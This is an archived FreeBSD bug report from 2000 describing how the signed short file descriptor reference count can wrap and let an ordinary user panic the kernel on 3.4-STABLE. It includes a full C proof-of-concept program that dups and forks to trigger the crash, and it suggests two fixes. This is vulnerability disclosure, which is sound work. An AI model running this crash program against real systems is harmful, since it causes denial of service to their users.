Skip site navigation (1)Skip section navigation (2)
Date:      Tue, 02 May 2000 17:17:17 +0200
From:      Phil Pennock <pdp@nl.demon.net>
To:        FreeBSD-gnats-submit@freebsd.org
Subject:   kern/18346: user can panic kernel (3.4-STABLE verified)
Message-ID:  <E12meQH-0000Ak-00@samhain.noc.nl.demon.net>

next in thread | raw e-mail | index | archive | help

>Number:         18346
>Category:       kern
>Synopsis:       User can panic kernel; signed short wraps
>Confidential:   no
>Severity:       serious
>Priority:       high
>Responsible:    freebsd-bugs
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Tue May  2 08:20:02 PDT 2000
>Closed-Date:
>Last-Modified:
>Originator:     Phil Pennock
>Release:        FreeBSD 3.4-STABLE i386
>Organization:
Demon Internet Netherlands
>Environment:

Raised kern.maxfiles and kern.maxfilesperproc.  Probably not necessary.

>Description:

The file descriptor reference count is an unsigned short.  Should it
ever become negative, the kernel panics.  There is no check on
increment, so it can wrap and on a later close cause a panic.  This was
first spotted with an unfortunate choice of logfile handling for Apache.

Max files per proc * max procs per user > max_int(fd.f_count)

>How-To-Repeat:

Compile the program below.
Possibly raise kern.maxfiles and kern.maxfilesperproc.  Play around.
Sync disks.  :^)
Run program, with parameters to indicate values.
If program slows down (the forks) and nothing happens, hit control-C -
this will lead to a file-descriptor being closed and so trigger the
panic then.

-----------------------------< cut here >-------------------------------
/* crash_freebsd.c */
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <limits.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <signal.h>

#define DEF_VICTIM "/dev/null"

void cleanup (void) __attribute__((__noreturn__));
void exit_sigf (int sig);
void do_nowt ( void );

int
main ( int argc, char *argv[] )
{
	int fd;
	int *fds, *fdp;
	int i_f, i_p, ret;
	int n_fd, n_p;
	pid_t cp;
	char *progname, *filename;

	progname = strrchr(argv[0], '/');
	progname = progname ? progname+1 : argv[0];

	if (argc < 3) {
		fprintf(stderr,
		 "Usage: %s file_count process_count [filename]\n", progname);
		return 1;
	}

	errno = 0;
	n_fd = strtol(argv[1], NULL, 0);
	if (errno != 0) { perror(progname); return 1; }
	n_p = strtol(argv[2], NULL, 0);
	if (errno != 0) { perror(progname); return 1; }
	if (argc >= 4) {
		filename = argv[3];
	} else {
		filename = DEF_VICTIM;
	}

	setpgrp(0, getpgrp());

	if (!(fds = calloc(n_fd - 1, sizeof(int)))) {
		fprintf(stderr, "%s: Failed to allocate fd storage\n",
				progname);
		perror(progname);
		return 1;
	}

	ret = setvbuf(stdout, NULL, _IONBF, 0); /* ignore failure */
	printf("Starting test run on '%s'\n%d file descs by %d processes\n",
			filename, n_fd--, n_p);

	if ((fd = open(filename, O_RDONLY)) < 0) {
		fprintf(stderr, "%s: Failed to open '%s'\n",
				progname, filename);
		perror(progname);
		return 1;
	}

	for ( fdp=fds, i_f=0 ; i_f < n_fd ; ++i_f, ++fdp ) {
		*fdp = dup(fd);
		if (*fdp == -1) {
			ret = errno;
			printf("Failed to dup for %d/%d\n", i_f+2,n_fd);
			perror(progname);
			if (ret == EMFILE) {
				break;
			} else {
				return 2;
			}
		}
	}

	printf("We have %d filedescs open\n", n_fd+1);
	for ( i_p = 0 ; i_p < n_p-1 ; ++i_p ) {
		switch (cp = fork()) {
			case -1:
				printf("Failed to fork for %d/%d\n",i_p+1,n_p);
				cleanup();
				/* NOTREACHED */
			case 0:
				signal(SIGKILL, exit_sigf);
				printf("Started proc %d\n", i_p+1);
				do_nowt();
				exit(0);
			default:
				break;
		}
	}

	close(fd);
	sleep(1);
	cleanup();
	printf("Finished test run!  Woohoo!\n");
	return 0;
}

void
cleanup ( void )
{
	/* Can't be bothered with IPC ... */
	sleep(3);
	kill(0, SIGKILL);
	exit(0);
}

void
exit_sigf (int sig)
{
	exit(0);
}

void
do_nowt ( void )
{
	/* Can't be bothered with IPC ... */
	sleep(1000000);
}
-----------------------------< cut here >-------------------------------

>Fix:
	
Two solutions, not mutually incompatible:
(1) Check f_count value before increment, return error if would wrap.
(2) Change f_count to int32_t instead of int16_t.

The second solution requires auditing all programs which access kernel
memory, eg lsof, to find potential problems.  :^/  *sighs*


>Release-Note:
>Audit-Trail:
>Unformatted:


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-bugs" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?E12meQH-0000Ak-00>